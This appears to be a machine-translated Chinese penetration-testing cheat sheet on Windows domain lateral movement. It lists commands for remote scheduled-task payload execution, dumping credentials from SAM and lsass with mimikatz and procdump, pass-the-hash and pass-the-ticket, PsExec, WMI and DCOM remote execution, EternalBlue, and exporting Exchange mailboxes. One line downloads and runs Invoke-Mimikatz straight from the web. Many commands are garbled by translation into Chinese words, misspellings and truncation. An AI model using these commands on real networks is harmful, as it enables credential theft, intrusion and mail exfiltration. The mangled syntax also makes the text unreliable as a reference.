域内横向移动分析
常用 Windows 远程连接和相关命令
IPC
1NET使用\\ ip \ ipc $'密码' /user:Administrator
IPC 的利用条件
开放端口139管理员已启用默认共享
使用 Windows 自带的工具获取远程主机信息
dir 命令
1dir \\ ip \ c $
tasklist 命令
1任务列表/S IP /U管理员/P密码
计划任务
at 命令
主要在2008年之前的Windows Server中查看目标系统时间
1网络时间\\ ip
将 payload 复制到目标系统中
1复制有效载荷.bat \\ ip \ c $
使用 at 命令创建计划任务
1at \\ ip 8:00am c: \ paryload.bat
返回计划的任务ID
清除 at 记录
1在\\ ip taskid /delete
使用将执行结果保存到遥控器并读取结果:
1
at \\ ip 8:00 am cmd.exe /c'ipconfig c: /1.txt'
1
类型\\ ip \ c $ \ 1.txt
schtask 命令
建立 IPC 连接
创建名为 task 的计划任务
1schtask /create /s ip /tn test /sc onstart /tr c: \ paryload.bat /ru system /f
执行该计划任务
1schtask /run /s ip /i /tn'test'
删除计划任务
1schtask /delete /s ip /tn'test' /f
Windows 系统散列值获取
单机密码抓取
GetPass
1getPassword_x64.exe
PwDump7
1pwdump7.exe
通过 SAM 和 SYSTEM 文件抓取密码
导出 SAM 和 System 文件
12
Reg保存hklm \ sam sam.hive
Reg保存HKLM \ System System.Hive
通过读取 SAM 和 System 文件获得 NTLM Hash
Mimikatz1
LSADUMP3:SAM /SAM:SAM.HIVE SYSTEM:SYSTEM.HIVE
该隐
目标机使用Mimikatz直接读取本地SAM文件
1
2
特权

LSADUMP:SAM
使用 mimikatz 在线读取 SAM 文件
1mimikatz.exe'Privilege

使用 mimikatz 离线读取 lass.dmp 文件
导出 lass.dmp 文件
Export LSASS.DMP文件使用任务管理器任务管理器找到lsass.exe进程,右键单击,然后选择“创建转储文件”选项。
使用procdump导出lsass.dmp文件
微软正式发布的工具,没有杀人
1
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用 mimikatz 导出 lsass.dmp 文件中的密码值
12
sekurlsa3:3360mimidump lsass.dmp
Sekurlsa3:logonPasswords已满
使用 Powershell 对散列值进行 Dump 操作
1进口模块。\ get-passhashes.ps1
使用 Powershell 远程加载 mimikatz 抓取散列值和明文密码
1powerShell'IEX(new-object net.webclient).downloadstring('3https://raw.githubusercontent.com/mattifestation/pwoersploit/pwoersploit/master/exfilration/exfilration/invoke-mimikatz.ps1';
哈希传递攻击
使用 NTLM Hash 进行哈希传递
1mimikatz'Privilege



使用 AES-256 密钥进行哈希传递
爬网AES-256键与Mimikatz1
Mimikatz'Privilege

PTH攻击(目标机必须安装KB2871997)
1
Mimikatz'Privilege



票据传递
使用 mimikatz 进行票据传递
导出票据
1Mimikatz'Privilege

注入票据
1Mimikatz'Kerberos

使用 kekeo 进行票据传递
生成票据文件
1Kekeo'TGT:ASK /USER:ADMINISTRATOR /domain

将票据文件导入内存
1keo'Kerberos

PsExec 的使用
PsTools 工具中的 PsExec
建立 IPC 连接
1网络使用\\ ip \ ipc $'密码' /u:Administrator
获取 System 权限的 交互式shell
12
3
psexec.exe -accepteula \\ ip -s cmd.exe
或者
psexec.exe -accepteula \\ ip -s cmd.exe /c ipconfig
如果未使用-s命令,请使用管理员权限创建一个外壳
如果没有建立IPC连接:
1
psexec.exe -Accepteula \\ ip -u管理员-P密码-s cmd.exe
Metasploit 中的 psexec 模块
利用/Windows/SMB/PSEXECexploit/windows/smb/psexec_psh(PowerShell版本)
WMI 的使用
基本命令
1wmic /node:ip /user:Administrator /password:通过进程呼叫创建'cmd.exe /c ipconfig ip.txt'
建立IPC连接后,使用类型命令读取结果:
1
类型\\ ip \ c $ \ ip.txt
impacket 包中的 wmiexec
1wmiexec.py管理员

wmiexec.vbs
半相互作用壳1
cscript.exe //nologo wmiexec.vbs /shell ip管理员密码
执行一个命令
1
cscript.exe wmiexec.vbs /cmd ip管理员密码'ipconfig'
对于具有较长运行时间的命令,例如ping和systemInfo,需要-5000命令或更长的等待时间。运行不需要输出订单的NC等时,您需要等待运行,需要- 需要参数。
Invoke-WmiCommand
在PowerSploit工具包中将Indoke-wmicommand.ps1导入到系统中
1
2
3
4
5
6
7
8
9
$ user='Pentest.hacker \ Administrator'
$ passwess=convertto -securestring -String'密码'-asplaintext -force
美元
$ remote=indoke -wmicommand -payload {ipconfig} -credential $ cred -computername ip ip ip
$ remore.payloadOutput
Invoke-WMIMethod
使用PowerShell随附的Invoke-wmimethod,它是非交互式且没有回声的。1
2
3
4
5
6
7
$ user='Pentest.hacker \ Administrator'
$ passwess=convertto -securestring -String'密码'-asplaintext -force
美元
$ remote=Invoke -wmimethod -class win32_process -name create -argumentList'calc.exe'-credential $ cred-computername ip ip ip
永恒之蓝漏洞
辅助/扫描仪/smb/smb_ms17_010exploit/windows/smb/ms17_010_eternalblue
smbexec
C++ 版本 smbexec
上传execerver.exe到目标系统的C: \ Windows \ Directory,并取消UAC对命令的限制。1
2
NET使用\\ ip'密码' /user

test.exe IP管理员密码WHOAMI C $
impacket 工具包中的 smbexec.py
1smbexec.py penteer/inderdairator

DCOM 在远程系统中的使用
通过本地 DCOM 执行命令
获取 DCOM 程序列表
Windows Server 2012及以上1
get-ciminstance win32_dcomapplicatioon
Windows 7,Windows Server 2008
1
get -wmicobject -namespace root \ cimv2 -class win32_dcomapplication
使用 DCOM 执行任意命令
本地启动具有管理员特权的PowerShell1
[System.Activator] :CreateinStance([类型] :GetTypeFromProgId('MMC20.Application','127.0.0.0.1')。document.active.active.activevieve.activeview.ececutesecuteshellcomteshellcommand(executeshellCommand)(
使用 DCOM 在远程机器上执行命令
您在连接远程连接时必须使用具有本地管理员特权的帐户使用 IPC$ 连接远程计算机
1net使用\\ ip'密码' /user

执行命令
调用 MMC20_Application 远程执行命令
12
$ com=[Activator] :CreateinStance([类型] :GetTypefromProgid('MMC20.Application','ip'))
$ com.document.activeview.executeshellcommand('cmd.exe','0','/c calc.exe','minimzed')
调用 9BA05972-F6A8-11CF-A442-00A0C90A8F39
12
3
4
$ com=[类型] :3360getTypefromclsid('9ba05972-f6a8-11cf-a442-00A0C90A8F39','ip')
$ obj=[system.activator] :CreateinStance($ com)
$ item=$ obj.item()
美元
SPN 在域环境中的使用
SPN 扫描
PowerShell-Ad-Recon利用 SPN 发现域中所有的 MSSQL 服务
12
import-module。\ discover-psmssqlserver.ps1
Discover-psmssqlservers
扫描域中所有的 SPN 信息
12
Import-Module。\ Discover-psInterestingServices.ps1
Discover-pssertestingservices
不使用第三方PowerShell脚本,请输入以下命令查询所有SPN信息
1
setSpn -t域-Q /
Exchange 邮件服务器攻击
Exchange 服务发现
基于端口扫描发现
1NMAP -A -O -SV IP
SPN 查询
1setSpn -t pentest.hacker -f -q /
Exchange 的基本操作
查看邮件数据库
12
添加pssnapin microsoft.exchange*
get -mailboxdatabase -server'Exchange1'
指定数据库并查询以获取详细信息
1
get -mailboxdatabase -Identify'邮箱数据库1894576043'|格式列表名称,edbfilepath,logFolderPath
获取现有用户的邮件地址
1Get-mailbox |格式表名称,WindowsEmailAddress
查看指定用户的邮箱使用信息
1Get -MailboxStatistics-识别管理员|选择DisplayName,ItemCount,AtteryTemsize,LastLogonTime
获取用户邮箱中的邮件数量
1get -mailbox -resultsize无限| Get-MailboxStatistics |排序目标alteritemsize -decend
导出指定的电子邮件
配置用户的导入、导出权限
查看用户权限
1Get -ManagementRoleassignment -OR'Mailbox Import Export'|格式列表roleassigneename
添加权限
1new -managementRoleassignment -Name“导入export_domain admins' -user'管理员' - role'邮箱导出'
删除权限
1new -ManagementRoleassignment“导入export_domain admins” -confirm: $ false
设置网络共享文件夹
1净共享inetpub=c: \ inetpub /grant:everyone,完整
导出用户的电子邮件
1new -mailboxexportrequest -mailbox管理员-Filepath \\ ip \ inetpub \ inderdaTor.pst
管理导出请求
查看以前的导出记录1
Get-mailboxexportrequest
删除指定的用户完成的导出请求
1
删除MailBoxExporTrequest -Indentify管理员\ MailboxExport
删除所有已导出的请求
1
get -mailboxexportrequest -Status完成|删除MailBoxExporTrequest